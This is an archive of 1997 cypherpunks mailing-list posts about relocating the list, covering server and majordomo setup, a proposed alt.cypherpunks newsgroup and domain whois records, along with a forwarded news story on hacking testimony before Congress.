Message-Id: <199702121600.IAA22396@toad.com>
Date: Wed, 12 Feb 1997 06:56:59 -0800
From: Lucky Green <shamrock@netcom.com>
To: John Young <jya@pipeline.com>
Cc: cypherpunks@toad.com
Subject: Re: whois cypherpunks.org ?
Sender: owner-cypherpunks@toad.com
Precedence: bulk

At 08:04 PM 2/11/97 -0500, John Young wrote:

[Trying whois]

Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the
moderator of the famous bugtraq mailing list.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 18:56:43 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120256.SAA04862@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> A pentium is definitely up to this task.  I've been running it the
> whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> general computing).  Give it a big /var/spool partition (mine is 60MB)
> because every message will sit in the queue for days (*somebody* on
> the list will have an unreachable name server or MX server until the
> msg times out).  Give it lots of RAM and paging space, since each
> sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> have dozens running at the same time.
> 
> The new version of majordomo (that allows confirmation of
> subscriptions) will help a lot.  It needs a small patch though, to do
> exponential backoff on the lock file, or when you get a flood of
> messages, thirty majordomo processes will burn up the whole machine
> trying and failing to get the lock file.
> 
> You'll need a BIG mailbox for the bounce messages, and someone (or
> some unwritten software) to scan it every day or two and delete the
> lusers whose mailboxes are full or who dumped their account without
> unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> email a day; more when the list is under attack.
> 
> You'll want to run the latest version of BIND on the machine, too,
> since doing DNS name-lookups on a thousand email addresses is expensive.
> You want them all in the in-memory cache on the same machine.  The
> name daemon burns about 7MB virtual, 5MB real RAM once its cache
> gets loaded.
> 
> Make sure that every message sent to the list gets into at least
> two logfiles -- on separate partitions, in case one fills up.  At
> least if you want to have an archive of what's been sent.
> 
> >      I can provide a pentium box running Linux with a T1 connection to
> > MAE-West to host the list, if there is still interest.
> 
> Make sure you are getting "transit" service to the Internet, instead
> of trying to cheap out with "peering" to a few major networks.
> Without transit service ("we'll carry your packets to anywhere even if
> the destination is not on our network") you won't be able to route
> packets to some places on the net.  This will cause mail to those
> subscribers to sit in the queue for days and then bounce.
> 
> The real issue is how willing you are to put your own time into
> dealing with problems.  Not only do things go wrong by themselves, but
> there are malicious assholes in the world who will deliberately make
> trouble for you just because they like to.  Spending a day or two
> cleaning up the mess is just part of the job.  Check your level of
> committment two or three times before taking on the task -- so you
> won't end up getting disgusted after a month or two and putting the
> list's existence into crisis again.  It's not a "set it up and forget
> it" kind of operation.

Listen to it, John is absolutely right. Running a big mailing list is
an incredible commitment and it is important to realize what you are 
getting into.

Another suggestion may be to set sendmail expire option to one day
instead of five so that messages that cannot be delivered would bounce
faster and not clog the queue.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 20:16:46 -0800 (PST)
To: Patrick May <pjm@spe.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120416.UAA06040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Patrick May wrote:
>      Before doing this, I'd need the answers to a few questions:
> 
>      - Is there still any interest in a cypherpunks mailing list?

yes
 
>      - Is alt.cypherpunks a better alternative?

it is not an alternative, it is a complement. 

i think that alt.cypherpunks will be a failure because all of
the troubles of alt.* hierarchy.

>      - Majordomo can be configured to require confirmation of
>        subscription requests, thus avoiding some attacks.  Is there
>        any simple way to protect against mailloops?  Directly
>        accessing the listname-outgoing alias?

Add X-Loop: header and use procmail to protect against messages
FROM_DAEMON and FROM_MAILER.

>      - Is a pentium up to the task of running a list of this size and
>        volume?

yes, it is the other stuff that's the problem -- memory, connection
speed, etc.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 18:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up" (fwd)
Message-ID: <199702120256.SAA04844@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 08:30:54 -0800
> From: Alan Olsen <alan@ctrl-alt-del.com>

> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)

A minimum standard for a useable remailer (YMMV):

   486DX(blah)
   16M
   1G IDE
   Mitsumi CD Rom (very widely supported)
   VGA 1M
   NE2000 x 2 (Internet & Intranet)
   High-speed serial ports x 3 (Mouse, Modems x 2) [optional]
   ISDN Bridge (incl. NT-1, no POTS)
   ISDN Line (contact business office)
   Internet Provider (commercial service, nameservice, news, etc.)
   10BaseT Bridge [optional, depends on Bridge]
   Registration of domain name [optional, suggested]
   Linux (WinNT if clueless)

For a full-time commercial feed in Austin, Tx. your talking about:

Startup:

$600 Machine
$100 VGA Monitor
$100 Computer accessories
$400 28.8 Modems ($200 x2)
$150 ISDN install
$1k  ISDN Bridge
$500 ISP setup & init (this is commercial, not hobby)
$100 Initial name registry
$300 UPS

$3,250


Monthlies:

$50  Phones ($25 x2)
$25  Utilities
$75  ISDN
$400 ISP connection

$550

Note:

  *    This machine can't be your personal workstation. It will be
       entirely too busy.

  *    Learn shell, c, Pearl to start.

  *    O'Reilly makes very useful books.

  *    Such a machine will handle from between 100 to 500 accounts
       depending on how you set up your system.

  *    If you have the money, put it in the bandwidth first.

  *    I would very strongly suggest against using your employers
       resources for such activities.

  *    You will want at least one dedicated dial-in, no matter what.
       This is a good place for distinctive ring and a line splitter.
       Consider this when buying the modem, it will raise the price
       of the modem. Also consider the personal 800 numbers that are
       available.

  *    Consider strongly the use of an encrypted file system. While
       they make automated re-boots impossible their security can be
       quite appealing. (This is an issue that somebody who is already
       designing encrypted file systems should look into, how to allow
       automated reboots w/o manual entry of the key(s).)

  *    Anonymous remailer extensions would not be a major resource hog.

  *    If you are going to consider allowing general access by your users
       via dial-in use 10 - 15 users per line per day, assuming no
       enforced quota.

Hope this helps anyone who might be interested in starting up such a beast.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com



When I was a kid, I lived in Pasadena, Tx. just down the street from the
Washburn Tunnel. There was a big sign going from Pasadena to the Houston
side that said "The grass is greener in Pasadena". This sentiment is the
true liberator of the human spirit. Keeping up with the Joneses is burned
into our genes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 18:51:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: STE_pup
Message-ID: <199702120251.SAA04696@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:

>Fingerprint readers tend to work regardless if the finger is attached to a
>body or not. All that fingerprint readers will do is increase the damage to
>those relying on ever increasing, but misguided, methods of authentication.
>See the rise in "identity theft" since SSN's began to be used for
>identification.

Oracle claims they've solved the lopped or faked pinkie problem by verifying 
other biometry. One device IDs BO. None invade privacy the snakes hiss.

What next, BS detectors? Nah, that'd kill commerce and law and government
and true love and blind faith in supreme-gold-fool.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 19:21:10 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120321.TAA05383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

das@razor.engr.sgi.com (Anil Das) writes:
> On Feb 11,  2:42pm, Alan Bostick wrote:
> > new alt.* newsgroups are better
> > received if they don't have top-level names.  Using existing top-level
> > hierarchies is better (e.g. alt.security.cypherpunks or
> > alt.privacy.cypherpunks).
> 
> I agree that alt.privacy.cypherpunks is the best bet, if alt.group
> is the route we go.

This has a number of frige benifits, too. It's lower down in the
alphabetical list, so luser AOL-type people and auto-spam bots are
less likely to reach alt.p* or alt.s* than alt.c*. Also, it seperates
it from alt.cyberpunk and associated groups, thus maybe minimizing
innappropriate x-posts.

The hybrid mailing list/newsgroup system seems to me to be an
excellent setup. It is resilliant to the moderation woes that a
mailing list is vulernable to, and is also resistant to ISPs who don't
carry alt groups. It also provides a set of mail-news gateways for
people who wish to post anonymously to the newsgroup, whaile at the
same time being resistant to commercial spam abuse (why use a
mail-news to spam if it just goes to 1 newsgroup?).

Finally, a newsgroup makes it easy to spread the gospel to the
unwashed masses. Tim May's rants/essays would probably make excellent
usenet memes, and having more usenet people crypto-aware can only help
advance the causes of liberty and privacy. I hereby volunteer to do my
best to handle all the newbie questions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 19:14:53 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702120314.TAA05264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks (REMAILER-DOM)
   1819 Woolsey St.
   Berkeley, CA 94703
   Domain Name: REMAILER.NET
   Administrative Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Billing Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Record last updated on 17-Oct-96.
   Record created on 09-Nov-94.
   Domain servers in listed order:
   FLYING.FISH.COM              140.174.97.13
   NS1.SAC.NET                  208.146.161.2

----------

CypherPunks (CYPHERPUNKS-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.COM
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 14-Sep-95.
   Record created on 14-Sep-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

CypherPunks Group (CYPHERPUNKS3-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.ORG
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 03-Oct-95.
   Record created on 03-Oct-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

Cypherpunks (ANONYMOUS-DOM)
   PO Box 170608
   San Francisco, CA 94117-0608
   Domain Name: ANONYMOUS.NET
   Administrative Contact, Technical Contact, Zone Contact:
      Gilmore, John  (JG150)  gnu@TOAD.COM
      +1 415 221 6524 (FAX) +1 415 221 7251
   Record last updated on 24-Jun-93.
   Record created on 24-Jun-93.
   Domain servers in listed order:
   CYGNUS.COM                   205.180.230.20
   RTL.CYGNUS.COM               205.180.230.21

----------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Tue, 11 Feb 1997 18:56:18 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702120256.SAA04850@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


       1-800-688-6115 press 0 or just wait for the operator. My second
order consisting of posters and video has not arrived either. It has been
about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
you order the Rainbow series you will be getting a large box.Their are
something like 30+ booklets in the series.
        There is a set of security posters  that include a Santa
poster.And there is also a video with two films on it (Acess Ins and outs
adb Acess Control).
                    Good luck on your mission Mr. Phelps,
                         moroni




On Thu, 30 Jan 1997, Genocide wrote:

> Date: Thu, 30 Jan 1997 12:42:08 -0800 (PST)
> From: Genocide <gen2600@aracnet.com>
> To: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: NSA Rainbow Series.
> 
> 
> 	A while back someone posted the 1-800 number for the NSA to call
> in and get the Rainbow series delivered.... well, I called and put in an
> order and it never came, I need to call them again... I don't have the
> phone numbere number anymore...does anyone have it? Can someone
> email me the number again?
> 
> Genocide
> Head of the Genocide2600 Group
> 
> 
> ============================================================================
> 		   **Coming soon! www.Genocide2600.com!
>          ____________________
>   *---===|                  |===---*
>   *---===|     Genocide     |===---*     "You can be a king or a street
>   *---===|       2600       |===---*   sweeper, but everyone dances with the
>   *---===|__________________|===---*              Grim Reaper."
>                                        
> Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
> 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 	It is by caffeine alone that I set my mind in motion.
> 	It is by the Mountain Dew that the thoughts acquire speed,
> 	the lips acquire stains, the stains become a warning.
> 	It is by caffeine alone that I set my mind in motion.
> ================================================================================
> 
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 22:20:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: http:--cnnfn.com-digitaljam-wires-9702-11-hackers_wg-
Message-ID: <199702120620.WAA07597@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Click here to download the shareware YOU want at ZDNet [INLINE]
   Digital Jam hackers graphic 
   Hackers victimize firms
   
   
   Experts tell House panel breaking into networks is too simple
   
   
   February 11, 1997: 6:17 p.m. ET
   
   
   [INLINE] 
   
   
   Hackers and Feds in Vegas - July 31, 1996
   
   
   Internet firms make hacking pay - April 12, 1996
   
   WASHINGTON (Reuter) -- Hackers are finding it easier to break into
   computer networks and steal money, partly because companies are
   reluctant to admit that they are vulnerable, security experts said
   Tuesday.
   [INLINE] "If I want to steal money a computer is a much better tool
   than a handgun," Daniel Geer, engineering director for Open Market,
   Inc., told a House of Representatives technology subcommittee hearing
   on computer security. "They start out stealing $1,000 a day and figure
   they can get away with $2,000 a day and then they get greedy and hit
   some figure which sets off alarm bells."
   [INLINE] A panel of experts assembled by the subcommittee said many
   companies refuse to report breaches in their security because they
   want to avoid negative publicity and embarrassment.
   [INLINE] "Most computer crimes are not reported," Eugene Spafford of
   Purdue University told the panel. He estimated losses run into
   "hundreds of millions of dollars" but said no one really knows since
   so much goes unreported.
   [INLINE] Daniel Farmer, a security consultant, said penetrating a
   computer system is relatively easy. "Just using simple tests, I could
   break into two-thirds of the systems I tried," he said, adding that he
   could easily raise that figure to three-quarters if he wanted.
   [INLINE] Farmer said that during his tests he even discovered a
   problem with the White House World Wide Web site and told the system
   manager about it. He said he never received a reply.
   [INLINE] "Defensive programs have been overtaken by offensive
   programs" developed by hackers, he said.
   [INLINE] Spafford said law enforcement has kept pace with advances
   made by hackers who are able essentially to take over entire networks
   and run them by remote control.
   [INLINE] In addition to banks and corporations, the experts said,
   government secrets can be stolen and used to threaten national
   security. They cited recent computer network tampering at the Justice
   Department and the CIA.
   [INLINE] A General Accounting Office study recently found that there
   were 250,000 "hits" aimed at the Defense Department's computer
   networks last year and 65 percent were successful. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright 1997 Reuters. All rights reserved. This material may not be
   published, broadcast, rewritten, or redistributed.
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 11 Feb 1997 18:54:18 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: NETLINK_IPSEC
Message-ID: <199702120254.SAA04773@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> Has anyone tried IPSEC with the 2.1.x kernels?  Are there a logcation that
> describes the differences between 2.0.x and 2.1.x?  (I have not been able to
> find one...)  Then again, I have yet to find a list of what was fixed from
> kernel to kernel...  (Probibly in some directory of the tar file...)


Source 1:  ftp://ftp.shout.net/pub/users/mec/kcs

Source 2:  The patch files.  :-)


Regards,

Bryce, not a kernel hacker

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMwDzRUjbHy8sKZitAQE5OQL/X/Uv6oIJTQqWsVzRVTF8slnMBZa9sByj
ld4mHGvfn7lwQXmdWk7OOngRWum38ZysjRxRk7R5OtULhRsUxRjIe2FhTXFn3v/O
nKxHOTmbbwvz/flovkg7cUFeIk/7iCEl
=ucy1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 08:00:20 -0800 (PST)
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: New group
Message-ID: <199702121600.IAA22395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> Well despite the obvious problems of propogation I thought it was time
> someone actually did something to get us a new home, even if it`s only
> temporary. So I have created alt.cypherpunks... See you all over on
> usenet!...

I pressed the URL alt.cypherpunks and my Netscape server said
"no such thing" or words to that effect.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 07:58:03 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Germany Versus Scientology
Message-ID: <199702121558.HAA22359@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> Evil se7en <se7en@dis.org> writes:
> > I have posted a rather lengthy story about Germany's war against the
> > Scientologists. It was long enough to preclude mailing it directly to the
> > lists, so I have put it on my web site. You may find it at:

> Heh, the top German Gov't anti-$cientoligist:
> "The state is obliged to protect its citizens from totalitarian
>  organizations."
> I just love this whole thing. It's like two neighborhood bullies going
> at it in the school yard. It doesn't matter who wins, as long as it's
> long and bloody.

If it were "just bullies", we could all sleep easier at night.
Alas, this is the next-generation manifestation of the anti-anti-
Holocaust laws that have been in place for 40-50 years in Germany.

There must be other countries with strong legal traditions similar
to this one.  Makes the picture much more complex.  And don't forget,
the conditions of Scientology's new tax exempt status are still secret.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 13:56:35 -0800 (PST)
To: Greg Broiles <ichudov@algebra.com>
Subject: Re: List for discussing many majordomos
Message-ID: <199702122156.NAA06413@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 PM -0800 2/11/97, Greg Broiles wrote:

>At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
>
>>We can coordinate our efforts. Actually, we can even have a mini
>>mailing list for people who want to participate in the distributed
>>cypherpunks experiment. If there is any interest, I can create such
>>a list.
>
>Yes, this is a good idea. One of the proponents of the "many majordomos"
>project apparently has plans to impose his own ideas about intellectual
>property on the project, and this seems like a pretty serious thing for a
>setup that's allegedly going to prevent censorship. We need a place to
>discuss this.

I've noticed the same thing, and this is part of why I'm so skeptical of
the "many majordomos" notion. Some of the proponents have their own notions
of who is fit to be in their system, and which topics are appropriate.

If alt.cypherpunks gets wide propagation, I expect that'll be where I post
the bulk of my stuff.

By the way, several people have stepped forward to offer to host "the list"
(?) on their Linux boxes, or spare CPU cycles they have somewhere. It's
important that such offers be weighed carefully in terms of how serious the
commitment is, and how long the service might last.

(For you old-timers, we wouldn't want to have a repeat of the situation
where a remailer went down because "I took my laptop with me on vacation to
Spain.")

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:56:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Network of majordomos (fwd)
Message-ID: <199702121556.HAA22325@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 13:09:22 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Network of majordomos
> 
> I still think you're just rediscovering Usenet technology. Instead of
> installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
> you don't like alt.cypherpunks, you could simply start your own top-level
> cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
> an evil CIA brain-stealing censor) so that cpunks at large could connect with
> newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
> could do this (instead of using Majordomo) locally, connecting to each other
> to achieve wide propagation and low latency.
> 
> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.
> 
> Usenet technology does exactly what you're describing: it's a distributed
> database of messages designed to facilitate each server getting its own copy
> of every message, and holding it locally for distribution to interested
> readers. Other people have been kind enough to write, debug, and document the
> software - all you have to do is install it. This could be running tonight. 

Did you get it running last nite Greg? When do you expect to be able to
handle traffic?

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:59:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702121559.HAA22376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 11:48:05 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.

Whoah Nelly. Tivoli - IBM has NOTHING to do with either my actions or
those of anyone else involved in this. Where exactly did you get this
information? It certainly hasn't come across any cpunks postings that I
have seen.

Check your facts bud.

                                                        Jim Choate
                                                        CyberTects
                                                        (not Tivoli -IBM)
                                                        ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 12:57:49 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks Mailing List
Message-ID: <199702122057.MAA04638@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Gilmore
I know that this list has become something of a dead albatross with you, but
I was wondering if you would be willing to do the whole of us another favor.

As you have stated that this list will no longer reside on your machine any
longer.

And as several people have put forward thier own machines upon which to host
this forum in the future.

And as there are people who, though not currently subscribed, know about the
list and may wish to subscribe to the list in the future.

Could you please maintain at least the semblence of a list on your machine.
Not the actual list, but a pointer triggered by a post or majordomo request
concerning cypherpunks.  In this way, persons not currently subscribed but
knowledgeable about the list can find it in the future.

Such a system should be easy to set up, given that you probably already have
autoresponder bots in your hard drive, and would be a great service.

Would you please rig such a system after your deadline in place of the list
to point to which ever system currently has the most alternate traffic?
This would only need to be an interim measure as after a reasonably short
length of time people would get the idea that the list has moved.

Thank you for entertaining this request.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lile Elam <elam@art.net>
Date: Wed, 12 Feb 1997 12:58:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: House Science Subcommittee...
Message-ID: <199702122058.MAA04651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks,

I am looking for more info on the ongoing House Science subcommittee
which is about computer technology and national security. I heard they
have folks talking about encryption and why it's important to use
technology and not legislation to protect people's privacy...

Theres a short article in the nando.net paper today about this 
committee at URL: 

   http://www.nando.net/newsroom/ntn/info/021197/info5_430.html

Dan Farmer talked yesterday...

thanks,

-lile






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arley Carter <ac@twinds.com>
Date: Wed, 12 Feb 1997 12:56:38 -0800 (PST)
To: "Robert A. Hettinga" <rah@shipwright.com>
Subject: Re: alt.cypherpunks lives! was Re: New group
Message-ID: <199702122056.MAA04548@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Robert A. Hettinga wrote:

> It seems this alt.cypherpunks thing was a lot easier than it looks.
> 
> Either that, or I have a clueful newsadmin. :-)
> 
The only clueful newsadmins are ex-newsadmins. :-)

Cheers:
-arc

Arley Carter
Tradewinds Technologies, Inc.
Winston-Salem, NC  USA
email: ac@twinds.com
www: http://www.twinds.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 12 Feb 1997 12:58:59 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702122058.MAA04672@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> >If the people decide for creation of a new USENET newsgroup,
> >we need to think very hard about actually moving it to a different
> >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> >
> >A comp.* or sci.* newsgroup, if created, has the following advantages
> >over an alt.* newsgroup:
> >
> >1) There is usually less spam in sci.* or comp.*
> >2) There are virtually no completely irrelevant flamewars
> >3) The propagation will be a lot better
> >4) More people will be able to read it because of the issue of providers
> >   not carrying alt.*.
> >
> >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> >alt.* newsgroup.
> 
> Sure, and this has come up in every past discussion of creating
> "alt.cypherpunks."
> 
> But the creation of alt.cypherpunks is _easy_, and needs little permission
> or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> takes work, requires a vote, blah blah blah. And so it never gets off the
> ground.
> 
> (Nor is it clear to me, and perhaps not to others, that it belongs in the
> the various places Igor mentioned. Comp.org.cypherpunks probably is the
> best fit, but then many would cite the "comp" part to try to insist that
> only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> sci, or comp, or soc, or even talk.)
> 
> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.
> 
> I still feel that the time has come to move virtual forums such as ours out
> of U.S. jurisdictions. Given that most European nations are worse in some
> ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
> recommend the alt.cypherpunks as the best overall compromise.

(I apologize to everyone whose e-mail has gone unanswered this week - I've
had a bunch of other stuff to do, but I'll get to it eventually. Also, I posted
the Anshel+Goldfield zeta function paten number - do check it out.)

Random thoughts:

1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
corprate news servers that don't carry alt.* (or even soc.*). Note that
soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
newsservers don't carry soc.* and talk.* can use dejanews - provided their
firewall lets them.)

2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
It takes a vote. I'm willing to be one of the proponents and generally help
with the process. (Both I and Igor have been co-proponents of major Usenet
newsgroups - don't know about other people onthis list. :-)

3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
list. I've been thinking of how to deal with crap, and with the obvious desire
by some people to delegate their decision what to read and what not to read
to other people. 

While cpunks@toad worked, one could subscribe to a filtered version offered
by at least 2 people. There was no easy way to get those articles that either
filterer considered worth reading: if you subscribed to both lists, you'd get
most articles twice.

Here's a proposal: anyone should be free to issue 'highlight' NoCeM's for the
unmoderated cypherpunks newsgroups. Perhaps there will be a 'bot immediately
highlighting submissions from well-known posters.

Someone reading the newsgroup with a nocem-enabled newsreader (such as gnu)
can choose to read only those articles that one of the filterers he trusts
has already marked as worthy of his attention. (E.g. Sandy can issue NoCeMs
to his heart's content.) However the filterer can't stop someone from not
using NoCeMs and reading the entire newsgroup traffic without incurring
moderation delays.

Most people don't have nocem-enabled newareaders yet... Which is where the
network of cypherpunks majordomos Igor's been busy creating comes in very
handy. 

